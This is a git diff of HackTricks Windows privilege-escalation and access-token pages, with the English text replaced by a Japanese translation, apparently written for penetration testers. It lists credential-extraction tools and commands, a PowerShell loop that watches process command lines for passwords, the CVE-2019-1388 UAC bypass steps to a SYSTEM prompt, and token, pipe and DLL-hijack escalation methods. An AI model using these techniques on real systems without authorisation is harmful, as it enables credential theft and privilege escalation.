Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin I have created this plugin to **automatically execute every metasploit POST module that searches for credentials** inside the victim.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatically search for all the files containing passwords mentioned in this page.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is another great tool to extract password from a system. - -The tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) search for **sessions**, **usernames** and **passwords** of several tools that save this data in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) は、私が作成した**msf**プラグインです。このプラグインは、被害者の中で資格情報を検索するためのすべてのメタスプロイトのPOSTモジュールを自動的に実行します。\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は、このページで言及されているパスワードを含むすべてのファイルを自動的に検索します。\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) は、システムからパスワードを抽出するための別の優れたツールです。 +ツール[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、PuTTY、WinSCP、FileZilla、SuperPuTTY、およびRDPのようなテキスト形式でこのデータを保存するいくつかのツールの**セッション**、**ユーザー名**、および**パスワード**を検索します。 ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` +## リークしたハンドラ -## Leaked Handlers +**SYSTEMとして実行されているプロセスが、完全なアクセス権限で新しいプロセスを開く**(`OpenProcess()`)場合、同じプロセスは**低い特権を持つ新しいプロセス**(`CreateProcess()`)**を作成し、メインプロセスのすべてのオープンハンドルを継承**します。\ +その後、**低い特権を持つプロセスに完全なアクセス権限がある場合**、`OpenProcess()`で作成された**特権プロセスへのオープンハンドルを取得**し、**シェルコードをインジェクト**することができます。\ +[**この脆弱性を検出して悪用する方法についての詳細は、こちらの例を読んでください**。](leaked-handle-exploitation.md)\ +[**さらに、異なるアクセスレベルで継承されたプロセスとスレッドのオープンハンドラをテストおよび悪用する方法についてのより完全な説明については、こちらの記事を読んでください(完全なアクセスのみではなく)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). -Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ -Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +## 名前付きパイプクライアントのなりすまし -## Named Pipe Client Impersonation +`パイプ`は、プロセス間の通信とデータ交換に使用できる共有メモリのブロックです。 -A `pipe` is a block of shared memory that processes can use for communication and data exchange. +`名前付きパイプ`は、Windowsの仕組みであり、2つの関連のないプロセスがデータを交換できるようにします。プロセスが2つの異なるネットワーク上にある場合でも、通信が可能です。名前付きパイプは、クライアント/サーバーアーキテクチャと非常に似ており、`名前付きパイプサーバー`と`名前付きパイプクライアント`という概念が存在します。 -`Named Pipes` is a Windows mechanism that enables two unrelated processes to exchange data between themselves, even if the processes are located on two different networks. It's very similar to client/server architecture as notions such as `a named pipe server` and a named `pipe client` exist. +**クライアントがパイプに書き込むと、パイプを作成したサーバー**は、**SeImpersonate**特権を持っていれば、**クライアントをなりすます**ことができます。その後、**なりすますことができるパイプに書き込む特権プロセスを見つけることができれば**、そのプロセスがパイプに書き込んだ後にそのプロセスをなりすまして特権を昇格させることができるかもしれません。[**この攻撃を実行する方法については、こちらを読んでください**](named-pipe-client-impersonation.md) **または** [**こちら**](./#from-high-integrity-to-system)**を読んでください**.** -When a **client writes on a pipe**, the **server** that created the pipe can **impersonate** the **client** if it has **SeImpersonate** privileges. Then, if you can find a **privileged process that is going to write on any pipe that you can impersonate**, you could be able to **escalate privileges** impersonating that process after it writes inside your created pipe. [**You can read this to learn how to perform this attack**](named-pipe-client-impersonation.md) **or** [**this**](./#from-high-integrity-to-system)**.** +**また、次のツールを使用すると、バープのようなツールで名前付きパイプ通信を傍受できます:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **また、このツールを使用すると、特権昇格を見つけるためにすべてのパイプをリストアップして表示できます** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)**** -**Also the following tool allows to intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)**** +## その他 -## Misc - -### **Monitoring Command Lines for passwords** - -When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. +### **パスワードを監視するためのコマンドラインのモニタリング** +ユーザーとしてシェルを取得すると、スケジュールされたタスクや他のプロセスが実行されている場合、**パスワードをコマンドラインで渡す**ことがあります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態と前の状態を比較し、差異があれば出力します。 ```powershell while($true) { - $process = Get-WmiObject Win32_Process | Select-Object CommandLine - Start-Sleep 1 - $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine - Compare-Object -ReferenceObject $process -DifferenceObject $process2 +$process = Get-WmiObject Win32_Process | Select-Object CommandLine +Start-Sleep 1 +$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine +Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` +## 低特権ユーザーからNT\AUTHORITY SYSTEMへの昇格(CVE-2019-1388)/ UACバイパス -## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +もしグラフィカルインターフェースにアクセスできる場合(コンソールまたはRDP経由)かつUACが有効な場合、Microsoft Windowsの一部のバージョンでは、特権のないユーザーからターミナルや他のプロセス(例:「NT\AUTHORITY SYSTEM」)を実行することが可能です。 -If you have access to the graphical interface (via console or RDP) and UAC is enabled, in some versions of Microsoft Windows it's possible to run a terminal or any other process such as "NT\AUTHORITY SYSTEM" from an unprivileged user. - -This makes it possible to escalate privileges and bypass UAC at the same time with the same vulnerability. Additionally, there is no need to install anything and the binary used during the process, is signed and issued by Microsoft. - -Some of the affected systems are the following: +これにより、特権の昇格とUACのバイパスを同時に行うことができます。さらに、何もインストールする必要はなく、プロセス中に使用されるバイナリはMicrosoftによって署名され、発行されています。 +以下は影響を受けるシステムの一部です: ``` SERVER ====== @@ -1470,141 +1808,121 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` +この脆弱性を悪用するには、以下の手順を実行する必要があります: -To exploit this vulnerability, it's necessary to perform the following steps: +``` +1) HHUPD.EXEファイルを右クリックし、管理者として実行します。 - ``` - 1) Right click on the HHUPD.EXE file and run it as Administrator. +2) UACプロンプトが表示されたら、「詳細を表示」を選択します。 - 2) When the UAC prompt appears, select "Show more details". +3) 「発行元の証明書情報を表示」をクリックします。 - 3) Click "Show publisher certificate information". +4) システムが脆弱である場合、「発行元」のURLリンクをクリックすると、デフォルトのWebブラウザが表示される場合があります。 - 4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear. +5) サイトが完全に読み込まれるのを待ち、[名前を付けて保存]を選択してexplorer.exeウィンドウを表示します。 - 5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window. +6) エクスプローラウィンドウのアドレスパスに、cmd.exe、powershell.exe、または他の対話型プロセスを入力します。 - 6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process. +7) これで「NT\AUTHORITY SYSTEM」のコマンドプロンプトが表示されます。 - 7) You now will have an "NT\AUTHORITY SYSTEM" command prompt. +8) デスクトップに戻るために、セットアップとUACプロンプトをキャンセルすることを忘れないでください。 +``` - 8) Remember to cancel setup and the UAC prompt to return to your desktop. - ``` - -You have all the necessary files and information in the following GitHub repository: +必要なすべてのファイルと情報は、次のGitHubリポジトリにあります: https://github.com/jas502n/CVE-2019-1388 -## From Administrator Medium to High Integrity Level / UAC Bypass +## 管理者権限の中から高い完全性レベル/ UACバイパス -Read this to **learn about Integrity Levels**: +**完全性レベルについて学ぶ**ために、これを読んでください: {% content-ref url="integrity-levels.md" %} [integrity-levels.md](integrity-levels.md) {% endcontent-ref %} -Then **read this to learn about UAC and UAC bypasses:** +次に、**UACとUACバイパスについて学ぶ**ために、これを読んでください: {% content-ref url="../windows-security-controls/uac-user-account-control.md" %} [uac-user-account-control.md](../windows-security-controls/uac-user-account-control.md) {% endcontent-ref %} -## **From High Integrity to System** +## **高い完全性レベルからシステムへ** -### **New service** - -If you are already running on a High Integrity process, the **pass to SYSTEM** can be easy just **creating and executing a new service**: +### **新しいサービス** +既に高い完全性プロセスで実行している場合、**システムへの移行**は新しいサービスを作成して実行するだけで簡単です: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` - ### AlwaysInstallElevated -From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ -[More information about the registry keys involved and how to install a _.msi_ package here.](./#alwaysinstallelevated) +ハイインテグリティプロセスから、**AlwaysInstallElevatedレジストリエントリを有効に**して、_**.msi**_ ラッパーを使用して逆シェルを**インストール**することができます。\ +[関連するレジストリキーと_.msi_パッケージのインストール方法の詳細はこちらを参照してください。](./#alwaysinstallelevated) -### High + SeImpersonate privilege to System +### High + SeImpersonate権限からSystemへ -**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +**[ここでコードを見つけることができます](seimpersonate-from-high-to-system.md)**。 -### From SeDebug + SeImpersonate to Full Token privileges +### SeDebug + SeImpersonateからFull Token権限へ -If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\ -Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ -**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** +これらのトークン権限を持っている場合(おそらく既にハイインテグリティプロセスで見つけることができるでしょう)、SeDebug権限を持つほとんどのプロセス(保護されていないプロセスではない)を**開くことができ**、プロセスのトークンを**コピー**し、そのトークンで**任意のプロセスを作成**することができます。\ +この技術を使用すると、通常は**すべてのトークン権限を持つSYSTEMとして実行されているプロセスが選択**されます(はい、すべてのトークン権限を持たないSYSTEMプロセスを見つけることができます)。\ +**提案された技術を実行するコードの例はこちらを参照してください。**[**ここでコードを見つけることができます**](sedebug-+-seimpersonate-copy-token.md)**。** ### **Named Pipes** -This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ -If you want to [**learn more about name pipes you should read this**](./#named-pipe-client-impersonation).\ -If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). +この技術は、meterpreterが`getsystem`でエスカレーションするために使用されます。この技術は、パイプを作成し、そのパイプに書き込むためにサービスを作成/悪用することで構成されます。その後、パイプクライアント(サービス)のトークンを**`SeImpersonate`**権限を使用して**偽装**することができるようになり、SYSTEM権限を取得することができます。\ +名前付きパイプについて[**詳しく学ぶには、こちらを読んでください**](./#named-pipe-client-impersonation)。\ +[**ハイインテグリティからSystemに移行する方法の例については、こちらを読んでください**](from-high-integrity-to-system-with-name-pipes.md)。 ### Dll Hijacking -If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\ -**You can** [**learn more about Dll hijacking here**](dll-hijacking.md)**.** +**SYSTEM**で実行されている**プロセス**によって**ロード**されている**dllをハイジャック**することができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijackingはこの種の特権エスカレーションにも有用であり、さらに、ハイインテグリティプロセスからは**dllをロードするために使用されるフォルダに書き込み権限**があるため、**はるかに簡単に達成**することができます。\ +**Dllハイジャックについて詳しくはこちらを参照してください**[**ここで詳しく学ぶことができます**](dll-hijacking.md)**。** -### **From Administrator or Network Service to System** +### **管理者またはネットワークサービスからSystemへ** {% embed url="https://github.com/sailay1996/RpcSsImpersonator" %} -### From LOCAL SERVICE or NETWORK SERVICE to full privs +### LOCAL SERVICEまたはNETWORK SERVICEからフル特権へ -**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**読む:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## More help +## その他のヘルプ -[Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries) +[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Useful tools +## 便利なツール -**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Windowsのローカル特権エスカレーションベクトルを探すための最適なツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Check for misconfigurations and sensitive files (**[**check here**](../../windows/windows-local-privilege-escalation/broken-reference/)**). Detected.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Check for some possible misconfigurations and gather info (**[**check here**](../../windows/windows-local-privilege-escalation/broken-reference/)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Check for misconfigurations**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extracts crendentials from Credential Manager. Detected.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray gathered passwords across domain**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is a PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basic privesc Windows enumeration**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Search for known privesc vulnerabilities (DEPRECATED for Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Local checks **(Need Admin rights)** +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 設定ミスと機密ファイルをチェック(**[**こちらをチェック**](../../windows/windows-local-privilege-escalation/broken-reference/)**)。検出済み。**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- いくつかの設定ミスをチェックし、情報を収集(**[**こちらをチェック**](../../windows/windows-local-privilege-escalation/broken-reference/)**)。**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- 設定ミスをチェック**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY、WinSCP、SuperPuTTY、FileZilla、およびRDPの保存されたセッション情報を抽出します。ローカルでは-Thoroughを使用してください。**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 資格情報をCredential Managerから抽出します。検出済み。**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 収集したパスワードをドメイン全体にスプレーします**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- InveighはPowerShell ADIDNS/LLMNR/mDNS/NBNSスプーフィングおよび中間者攻撃ツールです。**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な特権エスカレーションWindows列挙**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の特権エスカレーションの脆弱性を検索します(Watsonのために非推奨)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- ローカルチェック **(管理者権限が必要です)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extracts credentials from lots of softwares (precompiled exe in github)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port of PowerUp to C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10. - -**Bat** - -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool created based in this post (it does not need accesschk to work properly but it can use it). - -**Local** - -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Reads the output of **systeminfo** and recommends working exploits (local python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Reads the output of **systeminfo** andrecommends working exploits (local python) - -**Meterpreter** - -_multi/recon/local\_exploit\_suggestor_ - -You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: - +[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の特権エスカレーションの脆弱性を検索します(VisualStudioを使用してコンパイルする必要があります)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- ミスコンフィギュレーションを検索するためにホストを列挙します(特権エスカレーションよりも情報収集ツール)(コンパイルする必要があります) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多くのソフトウェアから資格情報を抽出します(githubのprecompiled exe)**\ +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUpのC#版**\ +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- ミスコンフィギュレーションをチェックします(githubの実行可能ファイルが事前にコンパイルされています)。おすすめしません。Win10ではうまく動作しません。\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- ミスコンフィギュレーションの可能性をチェックします(pythonのexe)。おすすめしません ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` - -## Bibliography +## 参考文献 [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\ [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\ @@ -1625,10 +1943,10 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/windows-hardening/windows-local-privilege-escalation/access-tokens.md index 984a1003a..c17cb83ee 100644 --- a/windows-hardening/windows-local-privilege-escalation/access-tokens.md +++ b/windows-hardening/windows-local-privilege-escalation/access-tokens.md @@ -1,23 +1,22 @@ -# Access Tokens +# アクセス トークン
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**最新バージョンの PEASS にアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な [**NFT**](https://opensea.io/collection/the-peass-family) のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください。 +* **ハッキングのトリックを共有**するには、[**hacktricks リポジトリ**](https://github.com/carlospolop/hacktricks) と [**hacktricks-cloud リポジトリ**](https://github.com/carlospolop/hacktricks-cloud) に PR を提出してください。
-## Access Tokens +## アクセス トークン -Each **user logged** onto the system **holds an access token with security information** for that logon session. The system creates an access token when the user logs on. **Every process executed** on behalf of the user **has a copy of the access token**. The token identifies the user, the user's groups, and the user's privileges. A token also contains a logon SID (Security Identifier) that identifies the current logon session. - -You can see this information executing `whoami /all` +**システムにログインしたユーザーごとに、セキュリティ情報を持つアクセス トークンが作成**されます。ユーザーがログインすると、システムはアクセス トークンを作成します。**ユーザーの代わりに実行されるすべてのプロセスには、アクセス トークンのコピーがあります**。トークンには、ユーザー、ユーザーのグループ、およびユーザーの特権が識別されます。トークンには、現在のログインセッションを識別するログオン SID(セキュリティ識別子)も含まれています。 +この情報は、`whoami /all` を実行して確認できます。 ``` whoami /all @@ -61,73 +60,68 @@ SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled ``` - -or using _Process Explorer_ from Sysinternals (select process and access"Security" tab): +または、Sysinternalsの_Process Explorer_を使用して(プロセスを選択し、「セキュリティ」タブにアクセス): ![](<../../.gitbook/assets/image (321).png>) -### Local administrator +### ローカル管理者 -When a local administrator logins, **two access tokens are created**: One with admin rights and other one with normal rights. **By default**, when this user executes a process the one with **regular** (non-administrator) **rights is used**. When this user tries to **execute** anything **as administrator** ("Run as Administrator" for example) the **UAC** will be used to ask for permission.\ -If you want to [**learn more about the UAC read this page**](../authentication-credentials-uac-and-efs.md#uac)**.** +ローカル管理者がログインすると、**2つのアクセス トークンが作成**されます:1つは管理者権限を持ち、もう1つは通常の権限を持ちます。**デフォルトでは**、このユーザーがプロセスを実行するときには、**通常の**(管理者ではない)**権限のトークンが使用**されます。このユーザーが管理者として何かを実行しようとすると(たとえば、「管理者として実行」など)、**UAC**が許可を求めるために使用されます。\ +UACについて[**詳しくは、このページを読んでください**](../authentication-credentials-uac-and-efs.md#uac)**。** -### Credentials user impersonation - -If you have **valid credentials of any other user**, you can **create** a **new logon session** with those credentials : +### 資格情報のユーザーなりすまし +他のユーザーの**有効な資格情報**を持っている場合、それらの資格情報で**新しいログオンセッション**を作成できます: ``` runas /user:domain\username cmd.exe ``` - -The **access token** has also a **reference** of the logon sessions inside the **LSASS**, this is useful if the process needs to access some objects of the network.\ -You can launch a process that **uses different credentials for accessing network services** using: - +アクセストークンには、LSASS内のログオンセッションの参照もあります。これは、プロセスがネットワークのオブジェクトにアクセスする必要がある場合に便利です。\ +ネットワークサービスにアクセスするために異なる資格情報を使用するプロセスを起動することができます。 ``` runas /user:domain\username /netonly cmd.exe ``` +これは、ネットワーク内のオブジェクトにアクセスするための有用な資格情報を持っているが、これらの資格情報が現在のホスト内では有効ではない場合に役立ちます(現在のホストでは現在のユーザー権限が使用されます)。 -This is useful if you have useful credentials to access objects in the network but those credentials aren't valid inside the current host as they are only going to be used in the network (in the current host your current user privileges will be used). +### トークンの種類 -### Types of tokens +利用可能な2つのトークンの種類があります: -There are two types of tokens available: +* **プライマリトークン**:プライマリトークンは、**プロセスに関連付けられる**ことができ、プロセスのセキュリティサブジェクトを表します。プライマリトークンの作成とプロセスへの関連付けは、特権操作であり、特権の分離のために2つの異なる特権が必要です。典型的なシナリオでは、認証サービスがトークンを作成し、ログオンサービスがユーザーのオペレーティングシステムシェルに関連付けます。プロセスは最初に親プロセスのプライマリトークンのコピーを継承します。 +* **模倣トークン**:模倣は、Windows NTで実装されたセキュリティの概念であり、サーバーアプリケーションがセキュアオブジェクトへのアクセスに関して一時的に「クライアントとして」振る舞うことを可能にします。模倣には**4つの可能なレベル**があります: -* **Primary token**: Primary tokens can only be **associated to processes**, and they represent a process's security subject. The creation of primary tokens and their association to processes are both privileged operations, requiring two different privileges in the name of privilege separation - the typical scenario sees the authentication service creating the token, and a logon service associating it to the user's operating system shell. Processes initially inherit a copy of the parent process's primary token. -* **Impersonation token**: Impersonation is a security concept implemented in Windows NT that **allows** a server application to **temporarily** "**be**" **the client** in terms of access to secure objects. Impersonation has **four possible levels**: +* **匿名**:サーバーに匿名/未識別のユーザーのアクセス権を与えます +* **識別**:サーバーがクライアントのアイデンティティを調査することを許可しますが、そのアイデンティティを使用してオブジェクトにアクセスすることはできません +* **模倣**:サーバーがクライアントの代わりに動作することを許可します +* **委任**:模倣と同じですが、サーバーが接続するリモートシステムにも拡張されます(資格情報の保存を通じて)。 - * **anonymous**, giving the server the access of an anonymous/unidentified user - * **identification**, letting the server inspect the client's identity but not use that identity to access objects - * **impersonation**, letting the server act on behalf of the client - * **delegation**, same as impersonation but extended to remote systems to which the server connects (through the preservation of credentials). +クライアントは、接続パラメータとしてサーバーに利用可能な最大模倣レベル(あれば)を選択できます。委任と模倣は特権操作です(模倣は元々特権ではありませんでしたが、クライアントAPIの実装上の注意不足により、デフォルトレベルを「識別」に制限しないことで、特権のないサーバーが意図しない特権のあるクライアントを模倣することができるようになりました)。**模倣トークンはスレッドにのみ関連付けることができ、クライアントプロセスのセキュリティサブジェクトを表します。模倣トークンは通常、DCE 